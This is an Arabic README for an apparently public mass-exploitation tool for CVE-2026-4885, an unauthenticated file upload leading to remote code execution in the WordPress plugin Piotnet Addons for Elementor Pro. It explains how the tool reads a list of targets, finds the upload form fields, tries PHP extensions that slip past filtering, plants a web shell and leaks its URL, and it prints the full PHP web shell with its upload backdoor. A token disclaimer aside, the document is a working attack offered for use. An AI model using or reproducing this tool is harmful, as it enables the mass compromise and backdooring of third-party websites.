CVE-2026-4885 – استغلال جماعي لـ Piotnet Addons for Elementor Pro

رفع ملف عشوائي غير مصادق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في Piotnet Addons for Elementor Pro ≤ 7.1.70.

هذه الأداة مصممة للاستغلال الجماعي – قم بتغذيتها بقائمة من الأهداف، وسوف تقوم تلقائيًا بـ:

• اكتشاف إصدار البرنامج المساعد (أو افتراض الثغرة إذا تم العثور على الأصول)
• إجراء استطلاع متقدم لاستخراج post_id وform_id واسم حقل التحميل الصحيح
• محاولة عدة امتدادات PHP (.phtml، .php3، .php4، .phps، .pht، .php2) لتجاوز عوامل التصفية الضعيفة
• رفع شيل PHP برأس GIF89a (مضمن، لا حاجة لملف خارجي)
• تسريب رابط الشيل المرفوع عبر pafe_export_database
• التحقق من تنفيذ الشيل (يبحث عن سلسلة Logic_Internet) وحفظ الرابط في shells.txt

⚠️ إخلاء مسؤولية
هذه الأداة للاختبارات الأمنية التعليمية والمصرح بها فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني.

يمكنك الاطلاع على إخلاء المسؤولية الإضافي على غلاف Jenderal92. يمكنك التحقق منه هنا !!!

الميزات

• متوافق مع Python 2.7 (يعمل أيضًا مع Python 3 إذا قمت بضبط print/input)
• متعدد الخيوط – فحص واستغلال ما يصل إلى 20 هدفًا في وقت واحد
• كشف ذكي للنماذج – يحلل سمات HTML الخاصة بـ Piotnet (data-pafe-form-builder-field-name، data-elementor-id، إلخ)
• لا حاجة لملف شيل خارجي – حمولة PHP مضمنة في السكريبت
• مخطط URL تلقائي – يضيف https:// إذا كان مفقودًا
• قائمة مسارات شاملة – تتضمن 22 عنوان URL شائع للنماذج (/contact، /apply، /quote، /book-appointment، …)
• نمط التسريب – يطابق كلاً من wp-content/uploads/piotnet-addons-for-elementor/ ومسارات الجذر المباشرة

المتطلبات

• Python 2.7 (أو Python 3 مع تغييرات طفيفة)
• مكتبة requests

pip install requests

التثبيت

git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885

الاستخدام

1. تحضير ملف الأهداف

أنشئ ملفًا باسم targets.txt (أو أي اسم) مع رابط واحد لكل سطر:

https://example1.com
example2.com
http://vulnerable-site.org

2. تشغيل الأداة

python2 CVE-2026-4885.py targets.txt

سوف يقوم السكريبت بـ:

• إظهار التقدم لكل هدف
• حفظ روابط الشيل الناجحة في shells.txt

مثال على المخرجات

[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml

خيارات سطر الأوامر (قابلة للتخصيص في السكريبت)

يمكنك تغيير هذه القيم بتعديل أعلى السكريبت.

حمولة الشيل

الشيل المضمن هو:

GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

• يعرض معلومات الخادم، دليل العمل الحالي، ونموذج رفع ملف.
• يمكن استبداله بأي كود PHP آخر (فقط قم بتغيير SHELL_CODE في السكريبت).

كيف يعمل

1. اكتشاف الإصدار

   • يبحث في الصفحة الرئيسية عن ?ver= في أصول البرنامج المساعد.
   • يتراجع إلى التحقق من وجود ملفات CSS/JS المعروفة.

2. الاستطلاع

   • يزحف عبر صفحات النماذج الشائعة وجميع الروابط الداخلية الموجودة في الصفحة الرئيسية.
   • يستخرج post_id وform_id واسم حقل رفع الملف الصحيح من سمات HTML الخاصة بـ Piotnet.

3. الرفع

   • يرسل طلب POST متعدد الأجزاء إلى wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
   • يستخدم حمولة JSON تحاكي آلية الرفع في البرنامج المساعد.
   • يجرب جميع الامتدادات في EXT_LIST حتى ينجح أحدها.

4. التسريب

   • يطلب pafe_export_database الذي يعيد CSV يحتوي على الرابط الكامل للملف المرفوع.
   • يحلل الرابط باستخدام نمط regex يطابق xxx-{random}.ext.

5. التحقق

   • يزور الرابط المسرب.
   • يتحقق من وجود سلسلة Logic_Internet.
   • يحفظ الرابط في shells.txt عند النجاح.

استكشاف الأخطاء وإصلاحها

UnicodeEncodeError على Windows

يحتوي السكريبت بالفعل على دالة safe_unicode() تتعامل مع الأحرف غير ASCII. إذا كنت لا تزال ترى أخطاء، تأكد من أن الطرفية تدعم UTF-8:

chcp 65001

لم يتم العثور على نموذج / فشلت جميع الامتدادات

• قد يكون الهدف مصححًا أو لا يستخدم Piotnet Addons.
• حاول زيادة TIMEOUT أو MAX_THREADS.
• تحقق يدويًا من تثبيت البرنامج المساعد بالفعل.

فشل التسريب ولكن الرفع نجح

• قد تكون نقطة النهاية pafe_export_database معطلة أو محمية.
• حاول الوصول إلى /wp-admin/admin-ajax.php?action=pafe_export_database يدويًا في المتصفح لترى ما إذا كان يمكن الوصول إليه.

الاستخدام القانوني والأخلاقي

• استخدم هذه الأداة فقط على الأنظمة التي لديك إذن كتابي لاختبارها.
• المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج.
• احترم جميع القوانين المعمول بها.